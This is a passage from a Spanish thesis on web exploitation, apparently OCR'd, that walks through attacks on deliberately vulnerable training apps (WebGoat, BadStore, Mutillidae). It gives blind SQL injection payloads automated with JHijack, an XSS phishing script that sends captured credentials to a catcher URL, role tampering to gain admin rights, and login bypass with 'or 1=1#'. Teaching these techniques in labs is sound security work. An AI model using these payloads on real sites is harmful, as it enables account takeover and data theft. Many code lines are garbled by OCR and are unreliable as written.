De esta forma determinamos que el pin esta comprendido entre 2000
y 2500.

Como esto en la vida real no es muy practico, ya que requiere mucho
tiempo y gran cantidad de consultas, lo que vamos a hacer es
automatizar todo el proceso a través de una aplicacion denominada
JHIJACK?0,

Simple JHijack v0.2 beta - http:/iyehg.net © 77"

| New ” Save Results ” Save Configs || Reload Config File || Choose Config File ” CIearCon.s;llue. || About

Ho... “ | Console Output:

Po... ‘ |

url: ‘ |

Method: ® GET ) POST

Grep: ‘ |

SEssID: | |

Params: ‘ |

HijackType:® CO... ) URL ' BODY

HiiackID: ‘ |

HijackData:® Numeric C File

Range: ’— - ’—

Result:

‘ Hijack ‘ | Stop | ‘ Exit ‘

Figura 122. Blind Numeric SQL Injection. JHIJACK.

20 https://www.owasp.org/index.php/JHijack
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Se procede a configurar las entradas de JHIJACK con los diferentes
valores:

e Host: http://webgoat(nombre o IP donde WebGoat esté
configurado).

e Port: 8080, que sera el puerto donde estd configurado
WebGoat.

e Para ver los datos de los formularios utlizaremos el
complemento de Firefox llamado Web Developer, donde
veremos los elementos account_number y SUBMIT.

e URL: /webgoat/attack?Screen=4&menu=1100&SUBMIT=Go!.

e METHOD: POST

e GREP: La condicion de consulta VERDADERA — Account
number is valid.

e Para ver los datos de la sesion utilizaremos de nuevo el
complemento Web Developer:

o Cookies -> View Cookie Information.

e SESSID: <name>=<value>

e HIJACKTYPE: BODY

e HIJACKID: Aqui introduciremos la consulta que mandamos
desde el campo texto:

&account_number=181 and

1=((5elect
pin from pins
where
cc_number="1111222233334444")=%)

Esta consulta sera verdadera cuando se compare el pin correcto

con el indicado en $

e 3 sera el payload con el rango numérico que ya determinamos
anteriormente.

e HIJACKDATA: Numeric

e Range: 2500/3000
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Para finalizar, pulsaremos “Jhijack” y tras un proceso, nos dira la

solucioén:

Simple JHijack v0.2 beta - http:/fyehg.net :

Reload Config File

Choose Config File

” Clear Console ||

HijackType CJ CO... ) URL ® BODY

HiijacklD: ‘&acccumt_number:ml AND 1=({SELECT pin FF{

O File

o0 | - [oso0 |

HijackData ® Numeric
Range:

Result:

‘ Hijack ‘ | Stop | ‘ Exit ‘

New | SaveResults | Save Configs | |
. ‘127,42,54,3 | Console Output:
bo.. om0 |
Url: sttack?Screen=384&menu=1100=SUBMT=Go|
Method: O GET  ® POST
Grep: laccount number is valid. |
SESSID:  ||SESSIONID=BFABAZIEFTBADEEBDO1269CAATES
Params: | |

Figura 123. Blind Numeric SQL Injection. Paradmetros Jhijack

Dando como resultado el pin 2364

Simple JHijack v0.2 beta - http://yehg.nef

New ” Save Results ” Save Configs || Reload Config File || Choose Config File ” Clear Console || About

‘ISESS\ONID=EFAEA228F7B=ID8EED9126904A7E1

HijackType:) CO... ) URL @ BODY

HiiackID: ‘&accoumt_number=101 AND 1=({SELECT pin FFI

HijackData ® Numeric C File

&account_number

&account_number

&account_number
&account_number
&account_number
&account_number
&account_number
&account_number
&account_number

&account_number

T0I AND I=({SELECT pin FROM pins WHERE cc_nu

Ho... ‘127'42'54'3 | &account_number 101 AND 1=((SELECT pin FROM pins WHERE cc_nu
&account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nu
Po... ‘8080 | &account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nu
&account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nu
url: sttack?Sereen—384&menu—1100-SUBMT—Go | saccount_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nu
&account_number 101 AND 1={({SELECT pin FROM pins WHERE cc_nu
Method: ) GET ® pOST &account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nu
&account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nu
Grep: ‘ACCC‘UN number is valid. | &account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nu

101 AND 1={({SELECT pin FROM pins WHERE cc_nu

SESSID: &account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nui
&account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nu
Params: ‘ | &account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nu

101 AND 1={({SELECT pin FROM pins WHERE cc_nu
101 AND 1={{SELECT pin FROM pins WHERE cc_nu
101 AND 1={{SELECT pin FROM pins WHERE cc_nu
101 AND 1={({SELECT pin FROM pins WHERE cc_nu
101 AND 1={({SELECT pin FROM pins WHERE cc_nu
101 AND 1={((SELECT pin FROM pins WHERE cc_nu
101 AND 1={{SELECT pin FROM pins WHERE cc_nu

&account_number 101 AND 1={({SELECT pin FROM pins WHERE cc_nu
Range:  |2000 - [2500 &account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nui
&account_number 101 AND 1=({SELECT pin FROM pins WHERE cc_nu
Result:  [ERE cc number=1111222233334244=2364)] &account_number 101 AND 1={({SELECT pin FROM pins WHERE cc_nu

101 AND 1={({SELECT pin FROM pins WHERE cc_nu

| Hijack | [ stop | | mdit | « il ] D}

Figura 124. Blind Numeric SQL Injection. Resultado.
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4. Blind String SQL Injection. En este caso, lo que estamos buscando
es una cadena. WebGoat nos propone un formulario, permitiendo al
usuario introducir un nimero de cuenta y determinar si es vélida o
no. Con este formulario, realizaremos consultas que devolveran
verdadero o falso.

El objetivo es encontrar el valor del campo ‘name’ de la tabla ‘pins’
gue contenga un ‘cc_number’ con valor 4321432143214321.

The form below allows a user to enter an account number and determine if it is valid or not. Use this
form to develop a true f false test check other entries in the database.

Reference Ascii Values: 'A' = 65'Z'= 90 'a' = 97 '2' = 122

The goal is to find the value of the field name in table pins for the row with the cc_number of
4321432143214321. The field is of type varchar, which is a string.

t the discovered name in the form to pass the lesson. Only the discovered name should be put
o the form field, paying close attention to the spelling and capitalization
ter your Account Number: 101 Go!

count number is valid

Figura 125. Formulario String SQL Injection.

No podemos pedir el nimero de cuenta ya que el Unico valor que
devuelve la pagina web es True o False, dependiendo si existe 0 no
la cuenta especificada.

Para intentar averiguar el nombre mediante busquedas
aproximativas, vamos a usar expresiones booleanas, y nos
ayudaremos con las instrucciones SUBSTR, LENGTH, ASCII.

Al ser cadenas, la busqueda se realizara letra por letra para
comprobar si es verdadero o falso.

Las consultas a utilizar seran las siguientes:

181 and

{substr((Select
name
From
pins
where

cc_number='4321432143214321"), 1, 1)="%")

José Carlos Novella Roman 97



Explotacién de vulnerabilidades web a través de DVWA

181 and

{substr((Select
name
From
pins
where

cc_number="4321432143214321"), 2, 1)="$%")

Con estas consultas lo que estamos haciendo es preguntar uno a
uno los caracteres en cada posicion de la cadena, para asi obtener el
nombre completo de la cuenta.

El payload $ tiene que ir entrecomillado al tratarse de una cadena, y
se compondra del abecedario completo, con las letras en mayusculas
y minusculas. Al ser una cuenta corriente, descartamos nameros y
caracteres especiales.

Realizaremos consultas para saber la longitud del nombre de la
cuenta:

101 and I1=(lengthi(select name from pins where cc number='4321432143214321")=4)

101 and I1=(length(select name from pins where cc number='4321432143214321")>4)

101 and 1={length(select name from pins where cc number='4321432143214321"')>8)

Enter your Accourt Nurrber: NUMber='d321432143214321=4) Go!

Figura 126. Resultado String SQL Injection.

Con estas consultas sabemos que la longitud del campo name es 4.
Pasamos a usar JHijack para averiguar todas las letras del nombre
de la cuenta:
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Primera Letra
&account_number=101 and (SELECT SUBSIRE(name,l,1) FROM pins WHERE cc_number='43214321432143214321)='§"’

Segunda Letra
&account_number=101 and (SELECT SUBSIR(name,2,1) FROM pins WHERE cc_number='43214321432143214321)='§"'

Tercera Letra
&account_number=101 and (5ELECT SUBSIR (name,3,1) FRCM pins WHERE cc_number='4321&321432143214321)='$'

Cuarta Letra
&account number=101 and (SELECT SUBSIR (name,4,1) FRCM pins WHERE cc_nu.m.ber='4321‘1321432143214321)='$'

Usaremos un repositorio que contenga todas las letras del
abecedario en mayusculas y minusculas con una letra e cada fila del
fichero.

La letra de la primera posicion es la J:

simple JHijack v0.2 beta - http:/iyehg.net :
New || Save Results || Save Configs ” Reload Conf || Choose Config File ” Clear Console ” About |
VWHERE CC_NUMDEr="4321432143214321" J = (L1 gror .
Ho... h27.4284.3 | WHERE cc_number='4321432143214321' ) ='A' 200 29761 —
WHERE cc_number='4321432143214321' ) = 'B' 200 29761
Po... |soso | where cc_number—'4321432143214321' ) —'C’ 200 29761
WHERE cc_number='4321432143214321' ) ='D' 200 29761
url: ttack?screen—4596menu=11006SUBMIT=Co!|  wyyERe cc_number='4321432143214321' ) = 'E' 200 20761
WHERE cc_number='4321432143214321' ) = 'F' 200 29761
Method: O GET ® pOST WHERE cc_number='4321432143214321' ) ='G' 200 29761
WHERE cc_number='4321432143214321' ) ='H' 200 29761
Grep: [account mumber is valid | WHERE cc_number—4321432143214321' ) =1 200 29761
WHERE cc_number='4321432143214321' ) = ' 200 20762 ==><==|
SESsID:  ||SESSIONID=1BFLBB62CE74F9091E4760540E8]  WHERE cc_number—'4321432143214321' ) = 'K' 200 29761
WHERE cc_number='4321432143214321' ) = 'L’ 200 29761
params: | | WHERE cc number'4321432143214321' ) = 'M' 200 29761
WHERE cc_number='4321432143214321' ) ='N' 200 20761 m
HijackType:0 CO... o uAL ® BODY WHERE cc_number='4321432143214321' ) = 'fI' 200 20761
WHERE cc_number='4321432143214321' ) ='0' 200 29761
HilackiD: [&account_number=101 AND [ SELECT SUBSTR(| mﬂ:gi ::—zzmz:i:ggi:ggi:ggi:ggi ; - 'Z‘ ggg ;g;:i
HijackData:O Numeric & File WHERE cc_number='4321432143214321' ) ='R' 200 29761 T
: WHERE cc_number='4321432143214321' ) = 'S' 200 29761
WHERE cc_number='4321432143214321' ) ='T' 200 29761
Range: - WHERE cc_number='4321432143214321' ) ='U’ 200 29761
WHERE cc_number='4321432143214321' ) = 'V 200 29761
Result: |WHERE cc_number='4321432143214321' 1 = | wHERe cc_number='4321432143214321' ) ='W' 200 29761 =
WHERE cc_number='4321432143214321' ) = 'X' 200 29761 -
[ Hijack | [ stop | [ Eat | £l I I [¥]

Figura 127. String SQL Injection. Resultado JHijack.

Una vez buscadas las 4 letras del nombre con JHIJACK, se
determina que el valor buscado es JILL.

José Carlos Novella Roman 99



£33

aa ry

5 Explotacién de vulnerabilidades web a través de DVWA

4.2.3.10. Cross-Site Scripting (XSS)

En este caso, vamos a realizar un ataque ‘phishing’ con la ayuda de XSS, el
objetivo es agregar contenido a una pagina web de forma disimulada para que
el usuario no se dé cuenta.

En el ejemplo de WebGoat vamos a agregar un formulario que solicite el
nombre de usuario y contrasefia.

This lesson is an example of how a website might support a phishing attack

Below is an example of a standard search feature.
Using XSS and HTML insertion, your goal is to:

= Insert html to that requests credentials
= Add javascript to actually collect the credentials
= Post the credentials to http://localhost/webgoat/catcher?PROPERTY=yes...

To pass this lesson, the credentials must be posted to the catcher servlet.

WebGoat Search

This facility will search the WebGoat source.

Search:

Search

Figura 128. XSS Formulario WebGoat.

Los datos introducidos en este formulario seran enviados a un servidor, en
nuestro caso, seran mandados al servidor donde hayamos configurado
WebGoat:

[ http://webgoat:8080/webgoat/catcher?PROPERTY=yes&user=catchedUserName&Password=catchedPasswordName

XSS nos permite afiadir mas elementos a una pagina existente, o que nos
permitira combinar dos partes:

e Un formulario que la victima tiene que rellenar.
e Un Script que lee el formulario y envia la informacion recogida por el
atacante.
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El formulario puede tener este aspecto:

WebGoat Search

This facility will search the WebGoat source.

Search: <form name="phishing"> <br><t

Search

Results for:

Identificate para usar el buscador
Usuario:

Contrasena:

login

Figura 129. XSS. Insercion de cddigo Script.

A continuacion necesitaremos un script que lea el formulario y envie la
informacion recogida por el atacante.

[H<script>
[Ffunctionhack() { XSSImage=new Image;

XSSImage.src="http: ebgoat: 3¢ ERT ser="+document.phish.user.value+ "&password=" +
document.phish.pass.value+ "";alert(": 2 si an a ue I iG... Tue redenciales han sido robadas suario =
F + document.phish.user.value+ " Contrasefia = " + document.phish.pass.value):}

L</script>

Figura 130. XSS. Cédigo Script.

También afadiremos un boton al formulario que llame al script:
<inputtype="submit"name="login"value="login"onclick="hack()">

Por ultimo, juntaremos todo el codigo, y lo introduciremos en el buscador:
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</form>
H(scripc>

document.phish.user.value+ "ipas
alert ("Esto ha sido un ataque PHI 2
+ document.phish.user.value+ " Contrasefia = " 4 document.phish.pass.value) :}
</script>

E]<fom.name="phish'>

<br><br><HR><H3>Identificatepara usar el buscador:</H3 ><br><br>
Usuario:<br><input type="text" name="user"><br>

Contraseifia:<br><input type="password" name= "pass"><br>

<input type="submit" name="login" value="login" onclick="hack ()">

</form>

<br><br><HR>

. Tus credenciales han sido robadas. Usuario =

Figura 131. XSS. Cddigo Script.

Con todo esto conseguimos este resultado:

Esto ha sido un atague PHISING... Tus credenciales han sido robadas. Usuario = UAH Contrasefia = HACKED!

Figura 132. XSS. Resultado ataque.
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4.3 BadStore

Badstore?® es una distribuciéon Linux, que proporciona un entorno de
aprendizaje seguro para realizar Pen-Testing. Una vez que tengamos la
distribucion corriendo en una maquina virtual, podemos desde el ordenador
anfitrion abrir una pagina web, que se nos presenta como la tipica pagina web
de una tienda online, con un portal de compra de articulos, en la que podemos
encontrar y practicar con las siguientes vulnerabilidades:

e Cross Site Scripting (XSS).

¢ Inyecciones SQL y de comandos.

e Modificacién de Cookies.

e Tampering de parametros y formularios.
e Directory transversal.

e Navegacion forzada.

e Cookie snooping.

e Tampering de logs.

¢ Interceptacion de mensajes de error.

e Denegacion de servicio.

Badstore presenta un entorno muy sencillo y con gran velocidad, no
necesitamos realizar ninguna instalacion de herramientas adicionales como un
servidor Apache, PHP o MySQL, tan s6lo necesitamos una maquina virtual,
para que corra la distribucion Linux, y un navegador en la maquina anfitriona.
Requiere muy pocos recursos, Yy trae ejemplos de casi todas las
vulnerabilidades webs mas comunes.

Lo negativo de esta herramienta, es que apenas hay manuales, y la pagina del
autor Kurt R. Roemer no esté disponible.

4.3.1 Instalacion de BadStore
La instalacion es muy sencilla, y no requiere de aplicaciones adicionales como
servidores PHP, MySQL, etc., Gnicamente tenemos que hacer lo siguiente:

e Bajarnos el archivo .iso, de la distribucion.

e Crear la maquina virtual.

e Ejecutar la maquina virtual y desde la consulta de comandos realizar un
‘ifconfig’ para ver la IP de la maquina virtual.

21 http://www.securitybydefault.com/2011/02/aprendiendo-hacking-web-con-badstore.html
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baszh# ifconfig
ethd Link encap:Ethernet HHWaddr B8:8C:29:25:A5:308
inet addr:192.168.248.136 Bcast:192.168.248.255 Mask:255.255.255.8
UP BROADCAST NOTRAILERS RUNNING MTU:1588 Metric:1
R¥ packets:18 errors:8 dropped:8 overrunz:8 frame:8
TX packets:9 errors:® dropped:® overruns:@ carrier:@
collisions:8 txgqueuelen:1H88
RX bytes:2567 (2.5 kiB) TX bytes:2158 (2.8 kiB)
Interrupt:5 Base address:BxZ?8688 Memory:c98Z8AHA-c9848008

Link encap:Local Loopback

inet addr:127.8.8.1 HMask:255.8.8.8

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:8 errors:H dropped:8 overruns:8 frame:Hd
TX packets:8 error=:H dropped:8 overruns:H carrier:f@
collizions:B txqueuelen:8

RX bytes:8 (B.8 iB) TX bytes:d (B.8 iB)

bash# elBBB: ethB NIC Link is Down

elBBdBd: ethB NIC Link is Up 1888 Mbps Full Duplex
elBBBd: ethB NIC Link is Down

elBAB: ethB HIC Link is Up 1888 Mbps Full Duplex
elBBB: ethB HIC Link is Down

elBAB: ethB HIC Link is Up 1888 Mbps Full Duplex

Figura 133. BadStore. Comando Ifconfig.

e Introducir la IP en un navegador de la maquina anfitriona:

B - -EN

&« C [} 192.168.248.136 =

BADSTORENET

Quick Item Search

E Welcome to BadStore.net X \g \

¢ View Cart

Welcome to BadStore.net!

Home
What's New

Sign Our Guestbook

i | ll’l] i
i

View Previous
Orders

About Us
My Account
Login / Register
- Suppliers Only -

Supplier Login

- Reference -

BadStore v1.2.3s5 - Copyright © 2004-2006

Figura 134. BadStore. Portada Web.
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4.3.3 Utllidades de BadStore

A continuacion vemos las vulnerabilidades mas importantes, no estan todas,
que podemos practicar en la pagina de BadStore.

4.3.3.1 Forced Browsing

Lo que hace diferente a BadStore de otras herramientas de Pen-Testing es que
no aparecen los tipicos menus con las diferentes vulnerabilidades que
podemos probar, nosotros tenemos que navegar por la pagina, y buscar
formularios o recursos candidatos de tener una vulnerabilidad.

En BadStore nos tenemos que ayudar de Forced Browsing??, para encontrar
recursos ocultos. Forced Browsing, es un ataque de fuerza bruta para
encontrar recursos que almacenan informacion sensible, y no se encuentra a
disposicion del usuario. También se puede realizar de forma manual, ya que
este ataque también se le conoce como ‘Predictable Resource Location’.

En BadStore podemos acceder a la pagina del administrador, averiguaremos la
URL siguiendo las siguientes predicciones:

e Las paginas ocultas deben de estar en el directorio cgi-bin.
e Vemos que todas las péaginas del menu izquierdo tienen la misma
estructura:

o http://192.168.248.136/cgi-bin/badstore.cgi?action=whatsnew
http://192.168.248.136/cgi-bin/badstore.cgi?action=questbook
http://192.168.248.136/cgi-bin/badstore.cgi?action=viewprevious
http://192.168.248.136/cqgi-bin/badstore.cqgi?action=aboutus
http://192.168.248.136/cqgi-bin/badstore.cgi?action=myaccount
http://192.168.248.136/cqgi-bin/badstore.cgi?action=myaccount
http://192.168.248.136/cgi-bin/badstore.cqgi?action=loginregister

O O O O O O

Esto nos hace sospechar que la pagina del administrador tendra el
siguiente enlace, lo cual confirmamos en el navegador:

22 http://csis.pace.edu/~Ichen/sweet/modules/5-SecurityTesting.pdf
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View Sales Reports ¥ | Dot

Figura 135. BadStore. Menu administrador.

El menu del administrador nos ofrece funciones adicionales a la de una
cuenta normal:

Where do you want to be taken today?

View Sales Reports | v| | Dolt
Reset User Password
Add User

Delete User

Show Current Users
Troubleshooting
Backup Databases

BadStore v1.2 .35 - Copyright © 2004-2005

Figura 136. BadStore. Funciones administrador.

Légicamente, si intentamos realizar alguna accion reservada al
administrador, nos dice que no es posible, ya que el usuario actual no es
administrador:
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— - : =7
IWe].ccmc usnario - Cart contains 0 items at $0.00 gt View Cart

Secret Administration Portal

Error - usuario is not an Admin!

Something weird happened - you tried to access the Adminstrative Portal, but you are
not an Administrative User.

You must login as an Admin to access this resource.

Use your browser's Back button and go to Login.

(If you're trying to hack - | know who you are: 192.168.248.1)

Figura 137. BadStore. Mensaje error.

Si queremos seguir, tendremos que realizar una escalada de privilegios.

4.3.3.2 Escalada de privilegios

En este caso vamos a realizar una escalada de privilegios, interceptando las
comunicaciones enviadas entre el cliente y el servidor, con la herramienta
Tamper Data de Firefox.

Lo que haremos sera dar de alta un usuario en la web BadStore, al hacerlo,
interceptamos la peticion.

hitp://192.168.248.136/ cgi-bin/badstore.cqilaction=register

Nombre de cabecera pedida Valor de cabecera pedida Nombre de parimetro post Valor de parimetro post

Host 192.168.248.136 fllname —|usuario 3

User-Agent Mozilla/5.0 (Windows NT 6.3; WOWB4; rv:39.0) Gecki ||| email

Accept text/html, passad  lusuario 3
Accept-Language e5-E5,e5:q=08,en-US;q=05,enq=03 pudhint green
Accept-Encoding geip, deflate role u
Referer hitp://192.168.248.136/cgi-bin/ badstore.cgitactiond || | Register Register

Cookie $50id=dXN1Y3pbzlAdWFoL mVz0jimY|Zj0GayZj

Figura 138. Escalada de privilegios. Tamper Data.

Cambiaremos el rol ‘U-Usuario’, por el rol de ‘A-Admin’, y le daremos a aceptar.

Si nos vamos nuevamente al menud del administrador, ahora ya si que nos deja
realizar las acciones reservadas para el usuario administrador:
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Where do you want to be taken today?

View Sales Reports v Dolt

View Sales Reporis

Reset User Password
Add User

Delete User

Show Current Users
Troubleshooting
Backup Databases

BadStore v1.2.3s - Copynight © 2004-2005

Figura 139. Escalada de privilegios. Funciones administrador.

Comprobamos que podemos ver todos los usuarios, con su direccion de
correo, ‘hashes passwords’, recordatorio de contrasefia, nombre y apellidos y
rol.

BADSTORE.NET

Quick Item Search elcome usuario3 - Cart contains () items at 30 00

-

<+
i View Cart

Secret Administration Portal

Home
What's New
. Pass
Sign Our Guestbook Email Address Password Hint Full Name Role
View Previous Orders [aan_Test_User [s2218ac24c1824c2878 1fe2bde018224 [olack  [Test User u
— [semin [s2218ac22c1824c2675 feabde018024 [place  [Master System Administrator A
About Us [ie=@supplier.com [s2218ac24c1824c0878 fedbden18ecs [green  [Joe Supplier 5
[pig@spender.com [s2218ac24c1524c2875 1reqb0e018224 [olus [Big Spender u
My Account [ray@supplier com [s22185c24c1834c0878 1fe4bde0182s [red [Ray Supplier 5
robert@spendernet [52218ac24c1824c2678 1fedbde018ee4 [orange  [Robert Spender u
o | | | |
Login / Register [bill@gsnderorg [s2218ac24c1824c2875 fe4bde018224 [purple  [Bill Gander U
[st et [s2218ac24c1224c0878 e dbdet 18t [rea [steve cwner u
Figura 140. Escalada de privilegios. Datos usuarios.
Desencriptamos la password:
Reverse Hash Results for: 83218ac34c1834c26781fe4bde918ees
Algorithm Hash Text
mds 83218ac34c1834c26781fedbdeg1Becs Q,  welcome Q

Figura 141. Escalada de privilegios. Formulario web.

Y vemos que la contrasefia es ‘Welcome’.
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Lo comprobamos entrando nuevamente en la pagina como administrador.

E Welcome to BadStore.net X \ M Tutoriales: Android Funds X

€ - C' | [} 192.168.248.136/cgi-bin/badstore.cgi?action=login ¥ &

BADSTORE.NET

Quick Item Search elcon® Master System Administrator ¥ art contains 0 items at $0.00

>

-
':‘ View Cart

Welcome to BadStore.net!

Home

What's New
Sign Our Guestbook

View Previous
Orders

About Us

My Account

Login / Register

- Suppliers Only -

Supplier Login
Supplier Contract
Supplier Procedures

- Reference -

Figura 142. Escalada de privilegios. Usuario Admin.

Para probar que tengo todos los permisos propios de un administrador,
creamos un usuario con el ‘rol’ de proveedor.

http://192.168,248.136/ cgi-bin/badstore.cgilaction=register

Nombre de cabecera pedida Valor de cabecera pedida Nombre de parémetro post Valor de parémetro post

Host [192:168.248.135 ||| futnarme | proveedor |
User-Agent ‘ Mozilla/5.0 (Windows NT 6.3; WOWGH; rv:39.0) Gecka/20100101 F\vdﬂx/iﬂ.‘ email ‘ proveedor%d0uah.es ‘
Accept [eet/ntml, l ), /7q=08 ||| pesswa | proveedor |
Accept-Language | es-E5,e5:0=0.8 en-USiq=05,em =03 ||| pwening | green |
Accept-Encoding | gaip, deflate [|||[ rote s |
Referer | http:#/192.168.248,136/ cgi-bin/badstore.cgitaction= loginregister [|1[| Register | Register |

Figura 143. Escalada de privilegios. Tamper data.
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4.3.3.3 SQL Injection

BadStore es vulnerable a SQL Injection, para saberlo, buscamos algun
formulario que nos permita buscar productos, lo encontramos en la portada.

Probamos a buscar algo y vemos que la pagina no es que solo de los mensajes
de error, si no que visualiza las consultas SQL que ejecuta internamente:

BADSTORENET

Quick ltem Search Welcome proveedor - Cart contains 0 items at $0.00

I -

No items matched your search criteria:
Home
SELECT itemnum, sdesc, Idesc, price FROM itemdb WHERE 'pan’ IN

What's New (itemnum,sdesc,|desc)

Sign OQur Guestbook

View Previous Orders

BadStore v1.2.3s - Copyright ©@ 2004-2005
Figura 144. SQL Injection. Mensaje error.

Podemos consultar todos los productos existentes en la base de datos con la
sentencia SQL 'or'1'="1 #

BADSTORE.NET

Quick Item Search Welcome proveedor - Cart contains 0 items at $0.00

I

:
View Cart

The following items matched your search criteria:

Home

What's New
MWhat s New ItemNum ltem Description Price Image Ag:r:o

Sign Our Guestbook

View Previous Orders

1000 Snake Qil Useless but expensive |11.50
About Us

My Account

Login / Register
The finest Austrian

1001 Crystal Ball crystal for complete 49.95

- Suppliers Only -

Supplier Login
Supplier Contract
Supplier Procedures

1002 Magic Hat The classic magicians 50 00

- Reference - hat

BadStore net Movual v1.2

1003 Magic Rabbit |Cute white bunny 12.50

Figura 145. Escalada de privilegios. Productos tienda.
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También tiene otro formulario vulnerable, se trata del formulario de ‘login’:

BADSTORENET

Quick Item Search Welcome proveedor - Cart contains 0 items at $0.00 =7

“i¢* View Cart
-

Login to Your Account or Register for a New Account

Home

What's New Login to Your Account

Sign Qur Guestbook

Email Address: '

View Previous Orders
Password:

Figura 146. Escalada de privilegios. Formulario login.

About Us

Aar A rrnnint

Si en ‘Email Address’ metemos una comilla simple, nos muestra un mensaje
de error:

Software error:

DBD: :mysqgl::st execute failed: You have an error in your 5@ for

the right syntax to use near 'd41d8cd98£00b204e%3800998ecfB4

yntax; check the manual that corresponds to yow
*' at line 1 at /usr/local/apache/cgi-bin/badst

For help, please send mail to the webmaster (root/@bubba. bubba com), giving this error message and the time and date of the error

Figura 147. Escalada de privilegios. Mensaje de error.

Si introducimos la sentencia ‘or ‘1’="1" # iniciamos sesién con Test User, que es
el primer usuario de la tabla.

Quick Item Search /elcome Test User - Cart contains 0 items at $0.00

";" View Cart
Welcome to BadStore.net!

Figura 148. Escalada de privilegios. Login con el usuario Test User.
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4.3.3.4 XSS

Podemos realizar el ataque XSS puesto que la pagina da la opcién de firmar en
el libro de visitas, que nos permite insertar codigo.

Sign our Guestbook!

Home

What's New
Please complete this form to sign our Guestbook. The email field is not required, but

Sign Our Guestbook helps us contact you to respond to your feedback. Thanks!

View Previous Orders

Your Name: |JoseCarlos |
SRR Email: jose.novella@edu.ush.es |
My Account Comments: |<scriptralert ('XS5')</script>

Login / Register

- Suppliers Only -

| :Add Entry: | | Restablecer

Figura 149. XSS. Libro de visitas.

Y comprobamos que es vulnerable a XSS

Figura 150. XSS. Ataque realizado.
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4.4. Mutillidae

Es otro proyecto de OWASP que se nos presenta como una web, con el que
podemos testear la pagina web en busqueda vulnerabilidades y explotarlas. Es
un proyecto multiplataforma escrito en PHP y se puede instalar bien usando
XAMPP o a traves de la distribucion Samurai WTF.

El proyecto recoge todas las vulnerabilidades incluidas en OWASP TOP TENZ23,

Podemos encontrar una gran cantidad de videos en el canal de YouTube
webpwnized, perteneciente a Jeremy Druin, desarrollador actual del proyecto y
también podemos acceder a videos en la web de irongeek?*, creador inicial de
Mutillidae.

4.4.1 Instalacion de Mutillidae

Nos bajamos Mutillidae desde (http://sourceforge.net/projects/mutillidae/), como
ya tenemos instalado XAMPP, Unicamente tenemos que descomprimir el
archivo que nos hemos bajado en la carpeta c:\xampp\htdocs

Archivo Ordenes Herramienta

General | Avanzado

- N 1 -
Eg Carpeta de destino (si no existe, se aeara) Mastrar

Afadir  Extraeren Comprobg C:'wamppihtdocs w Mueva carpeta
B B LATEST-mutillidae-2| ~ Modo deactualzacin &0 xampp &
(®) Extraer y reemplazar - || anonymous
Nombre () Extraer y actualizar - | apache
i () Solo actualizar . Cgi‘bih
| mutillidae J contrib
Modo sobrescribir - | FileZillsFTP
(®) Confirmar sobreescritura -
(") Sobrescribir sin confirmacian , DVWA
e | forbidden
() Omitir ficheros existentes | img
(") Renombrar automaticamente  magento
. | restricted
< Varios | xampp
Extraer en subcarpetas
EdmO Seleccionado 1 carpeta []conservar ficheros dafiados ! :!ﬂsiall
e [ Mostrar ficheros en el Explorador L -
T document(7) * 1 locale
i mailo ot
", xampp-win32-5. Guardar opciones
B jhijackv0.1beta
g HTTP_BruteForci Cancelar

E HTTP_BruteForci

Figura 151. Mutillidae. Descompresor.

Seguidamente  accedemos a Mutilidae ingresando la  direccidn
127.0.0.1/mutillidae/index.php’ en el navegador, y una vez reseteada la base
de datos, ya podemos empezar a realizar los test.

2 https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
2 http://www.irongeek.com/i.php?page=videos%2Fweb-application-pen-testing-tutorials-with-
mutillidae
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¥ 127.00./mutillidae/inde: %

€ = C [1127.001/mutillidae/index.php QR =

Q}g OWASP Mutillidae lI: Web Pwn in Mass

Production

Version: 2.6.25 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not
Logged In

View
Captured
Data

Show
Popup
Hints

Toggle
Hints

|
i Like Mutillidae? Check out how to help
_ ? What Should | Do? Video Tutorials

—_—

Toggle Enforce Reset View

Home Login/Register e SSL DB Log

Mutillidae: Deliberately Vulnerable
Web Pen-Testing Application

Documentation »

Figura 152. Mutillidae. Pdgina inicio.

ﬂ Help Me! ﬂ Listing of )
S _—

4.4.2. Utilidades de Mutillidae

Nos permite realizar una gran cantidad de técnicas de penetracion web, entre
las que esta el Top 10 OWASP 2013, OWASP 2010 y 2007 y otros ataques.
Todos aparecen en el menu lateral de la web.

Vamos a ver las mas importantes.

4.4.2.1 SQL Injection
Podemos realizar este ataque accediendo a ‘login/register’

q;g OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.25  Security Level: 0 (Hosed) Hints: Enabled (1 - 5eript K1dd1e)  Not Logged In

Home | Login/Register | Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

José Carlos Novella Roman 114



Explotacién de vulnerabilidades web a través de DVWA

Probamos a meter comilla simple en ‘username’.

[ Please sign-in ]

Username \

Password |

| Login |

Dont have an account? Please register here

Figura 153. Mutillidae. SQL Injection. Login.

Y nos aparece el mensaje de error:

—Error M g

[ Failure is always an option

ER

\xanpp vt docseut 1111das, ¢ 1asses  MySQLEand ler . php

s\xamppihtdocsteutillidashclasses\MySQLiandler php on 1ine 165 Eeror executing query

that correspends to your MySQL server version for the right syntax to use mear *"'"° a4t liee 1

1 3
5 7efdbl@57292d7309 2808577 §

your SQL syntaw; check the manua
jwv - 20120503 - $1d: bf%adS3bl11cd

uzarname=' ' (4) [Excaptian]

ndlar- dogxecuteQuary("SELECT username...") #1

ler.php{250):

ists(" ") #3 C:\xamppihtdocs\putillicse)index lude_once(C:\\xampp\\htdocs, .. ") #4 {nain)

Click here to reset the D8

41 teQuery( 'SELECT username...') #2 C:\xamppihtdocsimutillidaehincludes\process - login
phe{277): inc neel 'O

Figura 154. Mutillidae. SQL Injection. Mensaje error.

Siintroducimos la sentencia SQL  ‘or 1=1#

[ Please sign-in ]

Username "or1=14

Password |

[ Login ]

Dont have an account? Please register here

Figura 155. Mutillidae. SQL Injection en formulario.
